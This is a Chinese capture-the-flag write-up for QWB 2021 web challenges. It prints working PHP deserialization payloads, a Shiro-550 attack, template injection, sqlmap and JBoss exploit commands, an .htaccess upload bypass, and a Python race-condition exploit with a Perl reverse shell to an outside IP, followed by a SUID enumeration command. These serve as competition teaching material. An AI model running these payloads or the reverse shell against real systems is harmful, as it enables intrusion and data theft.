强网杯2021 writeup

[强网先锋]赌徒

www.zip源码泄露,构造反序列化链

<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);

class Start
{
    public $name;//='guest';
    public $flag;//='syst3m("cat 127.0.0.1/etc/hint");';

    public function __construct(){
        //echo "I think you need /etc/hint . Before this you need to see the source code";
    }

    public function _sayhello(){
        echo $this->name;
        return 'ok';
    }

    public function __wakeup(){
        echo "hi";
        $this->_sayhello();
    }
    public function __get($cc){
        echo "give you flag : ".$this->flag;
        return ;
    }
}

class Info
{
    private $phonenumber="wdnmd";
    public $promise='I do';

    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }

    public function __toString(){
        return $this->file['filename']->ffiillee['ffiilleennaammee'];
    }
}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';

    public function __get($name){
        $function = $this->a;
        return $function();
    }

    public function Get_hint($file){
        var_dump($file);
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }

    public function __invoke(){
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}

if(isset($_GET['hello'])){
    unserialize($_GET['hello']);
}else{
    $hi = new  Start();
}

$Start=new Start();
$Info=new Info();
$Room=new Room();
$new_room=new Room();
$new_room->filename="/flag";
$Room->a=$new_room;
$Info->file['filename']=$Room;
$Info->ffiillee['ffiilleennaammee']="wander";
$Start->name=$Info;

echo serialize($Start);
//unserialize(serialize($Start));

?>
O:5:"Start":2:{s:4:"name";O:4:"Info":4:{s:17:"%00Info%00phonenumber";s:5:"wdnmd";s:7:"promise";s:15:"I will not !!!!";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";s:0:"";}}}s:8:"ffiillee";a:1:{s:16:"ffiilleennaammee";s:6:"wander";}}s:4:"flag";N;}

[强网先锋]寻宝

这题学弟做的:

function filter($string){
        $filter_word = array('php','flag','index','KeY1lhv','source','key','eval','echo','\$','\(','\.','num','html','\/','\,','\'','0000000');
        $filter_phrase= '/'.implode('|',$filter_word).'/';
        return preg_replace($filter_phrase,'',$string);
    }

extract()函数变量覆盖,

第一层,绕过is_numeric并且大于1024,弱类型比较

ppp[number1]=1231156a

第二层,长度小于等于4并且经过Intval()+1大于等于500000,利用科学计数法,

ppp[number2]=1e10

第三层,md5截断比较前7位,4bf21cd,写个脚本爆破

<?php
$a = 0;
while(True)
{
    $b = substr(md5($a),0,7);
    if('4bf21cd' === $b){
        die($a);
    }
    else{
        $a++;
    }
}
ppp[number3]=61823470

第四层,长度大于6小于8,小于等于0,也就是只能是7位数,还是利用科学计数法,

ppp[number4]=0e00000

第五层,首先是否存在num5,num5长度不能为0,然后json_decode解码,之后是一个判断,$b === NULL为true即可输出KEY1
在这里插入图片描述
最后payload:

ppp[number1]=1231156a
&ppp[number2]=1e10
&ppp[number3]=61823470
&ppp[number4]=0e00000
&ppp[number5]={"key":0001}

在这里插入图片描述
KEY1{e1e1d3d40573127e9ee0480caf1283d6}
得到KEY1后猜测下一个关键词为KEY2
下载附件得到诸多文件夹,编写脚本扫描docx内容,
起初翻看了几个文档,猜测为base64,尝试匹配关键词【S0VZ】(KEY2的base64)失败
再一次尝试时匹配【KEY2】,成功

import docx
import  os
path = r'C:\python_Ctf1_\commond\five_month' #文件路径
# 定义接收元组
vv= []
def read(path):
    for i in os.listdir(path):
        fi_d = os.path.join(path, i)
        if os.path.isdir(fi_d):
            # 调用递归
            read(fi_d)
        else:
            if os.path.splitext(i)[1]=='.docx':
                vv.append(os.path.join(fi_d))
read(path)
# print(vv)
for i in vv:
    doc = docx.Document(i)
    for p in doc.paragraphs:
        if p.style.name == 'Normal':
            if 'KEY2' in p.text:
                print(p.text)
                exit()
            else:
                pass

KEY2{T5fo0Od618l91SlG6l1l42l3a3ao1nblfsS}
在这里插入图片描述
提交KEY1和KEY2
在这里插入图片描述

pop_master

把class.php.txt放入同目录class.php,生成脚本generate.py用这个

g_info = {}
def dict_append(dic: dict, subdic: dict):
    for tuple_it in subdic.items():
        dic[tuple_it[0]] = tuple_it[1]
def parse_func_block(block:str, claas_name:str):
    split_blk = block.split()
    fun_names = [0]*2
    buf = [0]*2
    count = -1
    for e in split_blk:
        if len(e) == 15 and e[6:8] == "($" and e[-2:] == "){":
            count += 1
            fun_names[count] = e[:6]
            buf[count] = { fun_names[count]: {"class_name": claas_name, "call_info": []} }
            continue
        if "eval(" in e:
            buf[count][fun_names[count]]["call_info"].append("eval")
            continue
        if e[:5] == "$this" and e[-1] == ';':
            buf[count][fun_names[count]]["call_info"].append(e[16:22])
    return buf
def parse_item_info(it):
    '''
    it:
    KBpwzS{
    public $LzXgZkA;
    public function LLZf52($cBIpE){
        $this->rTtYB = "uffbO";
        if(method_exists($this->LzXgZkA, 'qh75K5')) $this->LzXgZkA->qh75K5($cBIpE);
        if(method_exists($this->LzXgZkA, 'kZt0lG')) $this->LzXgZkA->kZt0lG($cBIpE);
    }
    public function eaCQze($aKDV0){
        for($i = 0; $i < 35; $i ++){
            $aF5G0v= $aKDV0;
        }
        if(method_exists($this->LzXgZkA, 'hrE0du')) $this->LzXgZkA->hrE0du($aKDV0);
        if(method_exists($this->LzXgZkA, 'QnaqzL')) $this->LzXgZkA->QnaqzL($aKDV0);
        }
    }
    '''
    class_name = it[:6]  # 获取类名
    split_it = it.split("public function ")
    split_it.pop(0)  # 丢弃类头部,留下函数块
    for fun_block in split_it:
        res = parse_func_block(fun_block, class_name)
        for e in res:
            if type(e) is dict:
                dict_append(g_info, e)
                pass
def parse_meta_info(meta_info : str):
    split_info = meta_info.split('class ')
    split_info.pop(0)
    for it in split_info:
        parse_item_info(it)

def show_pop_info(first_fp : str, info : dict, stack : list):
    if 'eval' in info[first_fp]['call_info']:
        stack.append(info[first_fp]['class_name'] + "." + first_fp)
        with open("res.txt","a+") as f:
            f.write(str(stack))
            f.write(',')
            f.write("\n")
        f.close()
        return
    stack.append(info[first_fp]['class_name'] + "." + first_fp)
    for fp in info[first_fp]["call_info"]:
        show_pop_info(fp, info, stack + [])
parse_meta_info(open('class.php').read())
show_pop_info("Bwi5oI", g_info, [])

生成所有利用链,格式为[类.函数,类.函数...]

在这里插入图片描述
把res.txt放入exp.py

all=[上面生成的结果] #二元数组
import requests
#print(all[0])
counter=0
for arr in all:
    text=''
    count = len(arr)
    for class_func in arr:
        text+=class_func+","
    #print(text[:-1])
    res=requests.post("http://localhost/error/index.php",data={"cf":text[:-1]})
    counter+=1
    #print(res.text)
    if '<title>phpinfo()</title>' in res.text:
        print("[+] Found POP Chains! => "+text)
        exit()
    else:
        print("[-] Trying {} ...".format(str(counter)))

然后本地起一个构造pop链的php

<?php
include("class.php");
$cf=$_POST['cf'];
$arr=explode(",", $cf);
//$arr=['egixMb.cHKST0', 'gQPnI3.UpEdkU', 'fX4K3A.IvXBgy', 'gneK2q.hOHDVU', 'fn6r4G.rOgrwZ', 'hUV4fb.iOAp4N', 'Lez1dV.htlMAB', 'bPXBis.Fktxg8', 'VMkOdG.ZlxtI2', 'NLTBkx.ghTdAh', 'g75HwI.I9ihDs', 'ZKsIpP.pGiGY2', 'A9gv5m.pyvW8z', 'dtPmKM.u6BNWt', 'KAOnBn.FcOtb3', 'ok8tV6.CyTmyG', 'ztSeNO.A53oa0', 'fgezNS.M42YC9', 'Kwp0Dm.NgPYPR', 'ckknkG.gk9See', 'm01gql.GSI8Ht', 'mKQgqy.cmSU1x', 'zxV9DZ.XoS67F', 'BtaFKg.Rk528X'];
$len=count($arr);
$c_arr=[];
$a_arr=[];
$f_arr=[];
for ($i=0; $i < $len; $i++) { 
    $class_func = explode(".",$arr[$i]);
    $c_arr[$i]=$class_func[0];
    $a_arr[$i]=array_keys(get_class_vars($class_func[0]))[0];
    $f_arr[$i]=$class_func[1];
}
// 注册所有类
for ($i=0; $i < $len; $i++) { 
    $class = $c_arr[$i];
    $$class=new $class;
}
// 连接所有类
for ($i=0; $i < $len; $i++) { 
    $tmpclass = $c_arr[$i];
    $tmpattr = $a_arr[$i];
    $nextclass = $c_arr[$i+1];
    $$tmpclass->$tmpattr=$$nextclass;
}
// var_dump($egixMb->qgwnM8A);
// var_dump(serialize($TDgDT8));
//$a=unserialize(serialize($egixMb));
$TDgDT8->Bwi5oI("phpinfo();//");

总共几千条链,挺看脸的题...
在这里插入图片描述
在这里插入图片描述

Hard_Penetration

首先进去shiro有rememberMe=deleteMe
在这里插入图片描述
shiro550直接打
在这里插入图片描述
反弹shell
ps aux看到有apache服务,并且flag需要www-data才能读
在这里插入图片描述
查看配置文件发现端口开在8005

在这里插入图片描述
用ew反向代理到本地,发现是baocms

github上下载源码,可以发现是基于thinkphp3写的,源码审计,在\App\CommonAction.class.php中找到一处加载模板的函数,参数可控
在这里插入图片描述

/app/Common/display随便传一个
在这里插入图片描述
在tmp目录下写一个模板注入
在这里插入图片描述
在这里插入图片描述

echo "<php>system('cat /flag');</php>" > 3.html

路径穿越模板注入
在这里插入图片描述

EasyWeb

/files/下载文件,提示端口扫描35000-40000端口
在这里插入图片描述

得到36842端口,
在这里插入图片描述
登录框sqlmap能直接跑,

sqlmap -u "http://47.104.137.239:36842/account/login" --data="password=123&username=admin*" -D easyweb -T employee --dump

得到账户admin 99f609527226e076d668668582ac4420

在这里插入图片描述
登录
在这里插入图片描述
扫目录发现
在这里插入图片描述
file可以文件上传,并且是黑名单,可以上传.htaccess,差不多过滤了application \ php_value

http://www.adminwl.com/websafe/56.html

在这里插入图片描述
使用

AddHandler php5-script .gif

这里文件不能覆盖,所以如果要重新上传htaccess得换个ip

在这里插入图片描述
php使用copy从服务器copy一个shell
在这里插入图片描述
在这里插入图片描述
反弹到msf上,/hint说要信息收集,传个ew挂socks代理

在这里插入图片描述

扫同网段主机无果
在这里插入图片描述
重新扫一遍端口发现8006有jboss
在这里插入图片描述
172.17.0.2:8006
jboss4
在这里插入图片描述
https://www.freebuf.com/column/240174.html

https://github.com/joaomatosf/jexboss

exp挂上代理直接打

proxychains python jexboss.py -u http://172.17.0.2:8006

在这里插入图片描述
在这里插入图片描述

WhereIsUWebShell

源码

<?php
// index.php
ini_set('display_errors', 'on');
if(!isset($_COOKIE['ctfer'])){
    setcookie("ctfer",serialize("ctfer"),time()+3600);
}else{
    include "function.php";
    echo "I see your Cookie<br>";
    $res = unserialize($_COOKIE['ctfer']);
    if(preg_match('/myclass/i',serialize($res))){

        throw new Exception("Error: Class 'myclass' not found ");
    }
}
highlight_file(__FILE__);
echo "<br>";
highlight_file("myclass.php");
echo "<br>";
highlight_file("function.php");
<?php
// myclass.php
class Hello{
    public function __destruct()
    {   if($this->qwb) echo file_get_contents($this->qwb);
    }
}
?>
<?php
// function.php
function __autoload($classname){
    require_once "/var/www/html/$classname.php";
}
?>

反序列化需要先包含myclass.php并使用下面的Hello类,但是index.php有正则匹配,不能有myclass字符,使用反序列化报错绕过

<?php
class Hello{
    public function __destruct()
    {   //phpinfo();
    }
}
class myclass{}
$Hello=new Hello();
$Hello->qwb='e2a7106f1cc8bb1e1318df70aa0a3540.php';
$myclass=new myclass();
$myclass->qwb=$Hello;
echo serialize([$myclass]);

数组长度改为2,然后urlencode一下

a%3A2%3A%7Bi%3A0%3BO%3A7%3A%22myclass%22%3A1%3A%7Bs%3A3%3A%22qwb%22%3BO%3A5%3A%22Hello%22%3A1%3A%7Bs%3A3%3A%22qwb%22%3Bs%3A36%3A%22e2a7106f1cc8bb1e1318df70aa0a3540.php%22%3B%7D%7D%7D

挨个读源码

<?php
//e2a7106f1cc8bb1e1318df70aa0a3540.php
include "bff139fa05ac583f685a523ab3d110a0.php";
include "45b963397aa40d4a0063e0d85e4fe7a1.php";
function PNG($file)
{
    if(!is_file($file)){die("我从来没有见过侬");}
    $first = imagecreatefrompng($file);
    if(!$first){
        die("发现了奇怪的东西2333");
    }
    $size = min(imagesx($first), imagesy($first));
    unlink($file);
    $second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);
    if ($second !== FALSE) {
        imagepng($second, $file);
        imagedestroy($second);//销毁,清内存
    }
    imagedestroy($first);
}
function GenFiles(){
    $files = array();
    $str = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $len=strlen($str)-1;
    for($i=0;$i<10;$i++){
        $filename="php";
        for($j=0;$j<6;$j++){
            $filename  .= $str[rand(0,$len)];
        }
        // file_put_contents('/tmp/'.$filename,'flag{fake_flag}');
        $files[] = $filename;
    }
    return $files;
}
$file = isset($_GET['41bdace9-d888-4591-8529-72bd7eeb731f'])?$_GET['41bdace9-d888-4591-8529-72bd7eeb731f']:"404.html";
$flag = preg_match("/tmp/i",$file);
if($flag){
    PNG($file);
}
include($file);
$res = @scandir($_GET['c5c267dd-1087-4391-8b88-90e0cbb6791e']);
if(isset($_GET['c5c267dd-1087-4391-8b88-90e0cbb6791e'])&&$_GET['c5c267dd-1087-4391-8b88-90e0cbb6791e']==='/tmp'){
    $somthing = GenFiles();
    $res = array_merge($res,$somthing);
}
shuffle($res);
@print_r($res);
?>

传入第一个参数,PNG会先用is_file判断文件是否存在,然后使用imagefromcreatepng创建png,并裁剪,跟国赛upload类似,然后对file进行文件包含。传入第二个参数,会随机生成10个php[0-9a-z]{6}的文件,然后和@scandir($_GET['c5c267dd-1087-4391-8b88-90e0cbb6791e'])的文件混合打乱如
在这里插入图片描述
那么就可以通过多线程上传文件结合PHP_SESSION_UPLOAD_PROGRESS来往tmp目录下写session文件,但是尝试过程中发现上传的文件立即就消失了
https://www.cnblogs.com/tr1ple/p/11301743.html
在这里插入图片描述
第二个参数传.会发现有一个/passwd文件,正好符合

那么就同时上传pngshell,同时在index.php的file_get_contents反序列化执行

php://filter/string.strip_tags/resource=passwd

触发php崩溃,然后同时时tmp目录下的pngshell保留,
pngshell可以使用国赛那个

在这里插入图片描述
工具

https://github.com/huntergregal/PNG-IDAT-Payload-Generator

生成一个pngshell,然后放到burp里,同时上传文件和PHP_SESSION_UPLOAD_PROGRESS在tmp目录下生成文件,同时执行反序列化让php崩溃保留tmp目录文件,http包

POST / HTTP/1.1
Host: eci-2ze9nv6m8hc14yp2g16r.cloudeci1.ichunqiu.com
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: PHPSESSID=wanderer;ctfer=a%3A2%3A%7Bi%3A0%3BO%3A7%3A%22myclass%22%3A1%3A%7Bs%3A3%3A%22qwb%22%3BO%3A5%3A%22Hello%22%3A1%3A%7Bs%3A3%3A%22qwb%22%3Bs%3A46%3A%22php%3A%2F%2Ffilter%2Fstring.strip_tags%2Fresource%3Dpasswd%22%3B%7D%7D%7D
Content-Length: 51602
Content-Type: multipart/form-data; boundary=3d17d771a4fe57abd4e52ac25e1dfe34

--3d17d771a4fe57abd4e52ac25e1dfe34
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

{pngshell}
--3d17d771a4fe57abd4e52ac25e1dfe34
Content-Disposition: form-data; name="file"; filename="1.txt"

{pngshell}
--3d17d771a4fe57abd4e52ac25e1dfe34--

在这里插入图片描述
然后同时include执行shell命令,shell为<?=\$_GET0;?>,先尝试phpinfo成功,并且没有disable_function system

在这里插入图片描述
然后因为执行不方便用perl反弹一个shell,

import requests 
import io 
import time,re,base64
import threading 
url='http://eci-2ze9nv6m8hc14yp2g16r.cloudeci1.ichunqiu.com/e2a7106f1cc8bb1e1318df70aa0a3540.php?c5c267dd-1087-4391-8b88-90e0cbb6791e=../../../tmp'
proxies={'http': 'http://127.0.0.1:8080'}
def upload(session): 
    count=0
    while 1:
        res=requests.get(url)
        count+=1
        print("[-] Trying {} ...".format(len(res.text)))
        # if len(res.text) != 2122:
        #     print(res.text)
        if 'php' in res.text:
            str=re.findall(".*?php(\w{6})",res.text)
            if str:
                php="php"+str[0]
                print(str)
                print("[+] Upload Success => "+php)
                #getfile("%2Ftmp%2F"+php)
                shell="""perl -e 'use Socket;$i="49.232.128.44";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'"""
                res2=requests.post("http://eci-2ze9nv6m8hc14yp2g16r.cloudeci1.ichunqiu.com/e2a7106f1cc8bb1e1318df70aa0a3540.php?0=system&41bdace9-d888-4591-8529-72bd7eeb731f=/tmp/"+php,data={"1":"{}".format(shell)})
                print("===========>"+base64.b64encode((res2.text).encode()).decode()+"<============")

                exit()
                if 'phpinfo' in res2.text:
                    print(res2.text)
        #time.sleep(0.2)
def getfile(filename):
    str="a%3A2%3A%7Bi%3A0%3BO%3A7%3A%22myclass%22%3A1%3A%7Bs%3A3%3A%22qwb%22%3BO%3A5%3A%22Hello%22%3A1%3A%7Bs%3A3%3A%22qwb%22%3Bs%3A14%3A%22{}%22%3B%7D%7D%7D".format(filename)
    print({"Cookie":"ctfer="+str})
    res2=requests.get("http://eci-2ze9nv6m8hc14yp2g16r.cloudeci1.ichunqiu.com/",headers={"Cookie":"ctfer="+str})
    print(res2.text)
if __name__=="__main__": 
    sess=requests.session()
    while 1:
        upload(sess)

监听端口弹到shell,全局find / -name "*"发现flag
在这里插入图片描述
进去发现没权限是600
在这里插入图片描述
查看具有 suid 的命令

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述
在这里插入图片描述

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇